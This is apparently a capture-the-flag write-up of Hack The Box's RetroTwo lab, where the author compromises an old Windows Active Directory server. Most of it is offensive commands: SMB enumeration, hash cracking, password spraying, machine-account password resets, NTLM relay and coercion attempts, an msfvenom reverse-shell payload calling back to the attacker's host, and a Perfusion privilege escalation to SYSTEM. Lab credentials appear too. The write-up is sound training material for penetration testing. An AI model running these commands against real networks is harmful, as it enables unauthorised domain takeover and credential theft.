
HTB: RetroTwo
An encrypted Access database sitting on an open guest share hides the domain credentials, but it takes a custom Java decryptor to pry it open. A foothold as ldapreader leads to a machine account still using its own name as its password, an RDP session onto an ancient Windows Server 2008, and a Perfusion service exploit that finally lands SYSTEM.
Kicking things off with the usual nmap scan.
nmap -sCV -p- -Pn 10.129.107.231 -v -T5 --min-rate 1500 --max-rtt-timeout 500ms --max-retries 3 --open -oN nmap_targets.txt

Looking at our nmap scan we can tell this is an Active Directory system, and we can see two domains we should add to our hosts file, so let's go ahead and add those now. Once they're in, let's run enum4linux and see what info we get back. The results show it's a Windows Server 2008 R2 Datacenter (7601) host, and we also have guest access to SMB, so let's run netexec smb and check out the shares.

We're getting an access denied. We have to run it with -u 'guest' according to that scan, so let's try that.
nxc smb 10.129.107.231 -u 'guest' -p '' --shares --rid-brute 5000

Great! We have a users list. Let's save these to a users.txt list and keep enumerating. The /Public share has READ, so let's smbclient into it and take a look around.
smbclient //10.129.107.231/Public -N -c 'recurse ON; ls'

Looks like a database, which is a perfect place to find credentials. Let's bring it over and have a look.
smbclient //10.129.107.231/Public -N -c 'cd DB; lcd /tmp; get staff.accdb'

We aren't able to open it, which could mean it's password protected. Let's hit it with strings.
strings -n 6 /tmp/staff.accdb | grep -iE 'pass|pwd|ldap|inventory|retro2|@|svc'

It's encrypted. Let's use office2john and see if we can crack its hash.
python3 /usr/share/john/office2john.py /tmp/staff.accdb > accdb.hash
john --wordlist=/usr/share/wordlists/rockyou.txt accdb.hash

It cracks easily. Let's decrypt the db with msoffcrypto-tool and run mdb-tables again to see if we can find any credentials.

It doesn't work. We need a program that can actually decrypt this file. Meanwhile, let's spray the users list with the password we got from the cracked hash.

Nothing. Ok, let's keep working on that db. After fiddling around for a bit, I ended up writing a decryptor in Java, then exported the staff tables, and within them we find hardcoded credentials.
import com.healthmarketscience.jackcess.*;
import com.healthmarketscience.jackcess.crypt.CryptCodecProvider;
import com.healthmarketscience.jackcess.impl.*;
import java.io.*;
import java.nio.ByteBuffer;
public class Decrypt {
public static void main(String[] a) throws Exception {
DatabaseImpl db = (DatabaseImpl) new DatabaseBuilder(new File(a[0]))
.setCodecProvider(new CryptCodecProvider(a[1]))
.setReadOnly(true).open();
PageChannel pc = db.getPageChannel();
int ps = db.getFormat().PAGE_SIZE;
int pages = (int) (new File(a[0]).length() / ps);
byte[] tmp = new byte[ps];
ByteBuffer buf = pc.createPageBuffer();
try (FileOutputStream out = new FileOutputStream(a[2])) {
for (int i = 0; i < pages; i++) {
buf.clear();
pc.readPage(buf, i);
buf.rewind();
buf.get(tmp, 0, ps);
out.write(tmp);
}
}
db.close();
System.out.println("wrote " + pages + " pages (" + ps + "b each) to " + a[2]);
}
}
mdb-export /tmp/staff_plain.accdb StaffMembers
strings -n 4 /tmp/staff_plain.accdb | grep -iE 'retro2|CN=|@retro2|pass|pwd|svc|ldap|inventory|class'
strings -n 4 /tmp/staff_plain.accdb | grep -i -B3 -A10 'ImportStaffUsersFromLDAP'
strings -n 4 /tmp/staff_plain.accdb | grep -i -B3 -A10 'strPassword'
strings -n 4 /tmp/staff_plain.accdb | grep -i -B3 -A10 'ldapreader'

Let's note those down and spray across the users list. We find that only the ldapreader account hits.

That's fine, let's start enumerating that account. Let's BloodHound the user and check for ACL edges.
nxc ldap 10.129.107.231 -u ldapreader -p 'ppYaVcB5R' \
--bloodhound --collection All --dns-server 10.129.107.231
We don't get much info, so let's run bloodyAD with the account and use get writable with the detail flag.
bloodyAD --host BLN01.retro2.vl -d retro2.vl -u ldapreader -p 'ppYaVcB5R' get writable --detail

We can inject DNS records! Let's give this a shot. First let's run responder, then hit it with the relay. We get nothing, but using coercer we actually get a response.
sudo responder -I tun0 -wv
coercer coerce -u ldapreader -p 'ppYaVcB5R' -d retro2.vl -l 10.10.14.211 -t 10.129.107.231 -v

But this doesn't pan out, so we have to use our ntlmrelayx.
sudo impacket-ntlmrelayx -t ldap[:]//10.129.107.231 --escalate-user ldapreader -smb2support --remove-mic
coercer coerce -u ldapreader -p 'ppYaVcB5R' -d retro2.vl -l 10.10.14.211 -t 10.129.107.231 -v

None of this worked out. It's time to take a step back and analyze the situation a bit, maybe we missed something. Let's enumerate the account again and see what else we can find.
nxc ldap 10.129.107.231 -u ldapreader -p 'ppYaVcB5R' --query "(objectClass=computer)" "sAMAccountName userAccountControl logonCount"
Default accounts for this version of Windows usually use their username as their password, so giving the ADMWS01 account a try at changing its password proves successful!
bloodyAD -k --host BLN01.retro2.vl -d retro2.vl set password 'ADMWS01$' 'AdmWs01Pass!2026'

We were able to pull a ticket and enumerate for more info. Remember the inventory account from the services group? Let's try to hit that from here.
bloodyAD -k --host BLN01.retro2.vl -d retro2.vl get object 'services' --attr member,memberOf,description

Look, they're part of Remote Desktop Users! Let's add ldapreader to that group and attempt to RDP in.
bloodyAD -k --host BLN01.retro2.vl -d retro2.vl add groupMember 'services' 'ldapreader'

Great, we're in. Let's RDP into the computer from that account. We had issues at first, so we had to unset KRB5CCNAME and then RDP in.
unset KRB5CCNAME
xfreerdp3 /u:ldapreader /d:retro2.vl /p:'ppYaVcB5R' /v:10.129.107.231 /cert:ignore /tls:seclevel:0 /dynamic-resolution

It worked and we're now in. Taking a look around, we can see we have the inventory and an admin account on this computer, so maybe we can change inventory's password and log in as them. Let's re-evaluate the scenario here.
bloodyAD -k --host BLN01.retro2.vl -d retro2.vl get writable --detail | grep -i 'CN=inventory'

Empty. Ok, so we can't do that, let's move on.

Doing some research, I found something that works on this version of Windows: itm4n/Perfusion. Let's pull it over, build it, and send the .exe to our target. We can't use iwr since this version of PowerShell is way too old (PowerShell 2.0), so we'll use the Net.WebClient DownloadFile method instead.

We got a file but it's empty, so something went wrong here. I ended up finding another exploit, one that's available on Metasploit, but instead we'll download the .exe and send it to the target to try running it manually first, then we can fall back to the Metasploit option: SecWiki MS15-051. There's a compiled Taihou64.exe in the compiled folder that we can use.

None of these worked, so we'll get ourselves a meterpreter x64 shell from Metasploit.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.211 LPORT=444 -f exe -o rev2.exe

Trying a few of these payloads, we keep missing the privesc. Again, a perfect time to step back and see if there's another path. Going back to the Perfusion solution, we finally get it built on our Kali box and ship it over to the target, then hit our meterpreter shell with the Perfusion exploit.
./Perfusion.exe -c "cmd.exe /c C:\Users\Public\rev2.exe"

We grab both our user flag (found in the C drive root) and our root flag over in the Administrator account! This box was pretty interesting, and it feels like something you'd come across every now and then in the wild. It seemed pretty old, but I did learn a lot.
